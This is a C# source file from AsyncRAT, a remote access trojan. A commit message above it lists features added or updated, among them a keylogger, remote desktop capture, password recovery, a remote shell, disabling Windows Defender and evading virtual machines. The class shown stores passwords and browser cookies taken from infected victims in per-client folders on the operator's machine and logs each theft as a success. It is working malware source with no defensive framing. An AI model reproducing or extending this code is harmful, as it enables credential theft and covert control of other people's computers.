NYAN CAT ab14c1e9bc Update
-Added report window
-Added save keylogger
-Added save remote desktop images
-Added PC options
-Updated password recovery
-Updated ProcessCritical
-Updated UI to remote shell
-Updated disable defender
-Updated anti VM
-Updated client ID method
-Fixed chat
-Fixed send to memory
-Specail thanks to @MrDevBot and @Thoxy67
2019-05-21 22:04:37 +03:00

31 lines
1.1 KiB
C#

using AsyncRAT_Sharp.MessagePack;
using AsyncRAT_Sharp.Sockets;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace AsyncRAT_Sharp.Handle_Packet
{
public class HandleRecovery
{
public HandleRecovery(Clients client, MsgPack unpack_msgpack)
{
try
{
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + client.ID + "\\Recovery");
if (!Directory.Exists(fullPath))
Directory.CreateDirectory(fullPath);
File.WriteAllText(fullPath + "\\Passowrds.txt", unpack_msgpack.ForcePathObject("Password").AsString);
File.WriteAllText(fullPath + "\\Cookies.txt", unpack_msgpack.ForcePathObject("Cookies").AsString);
new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple);
}
catch { }
}
}
}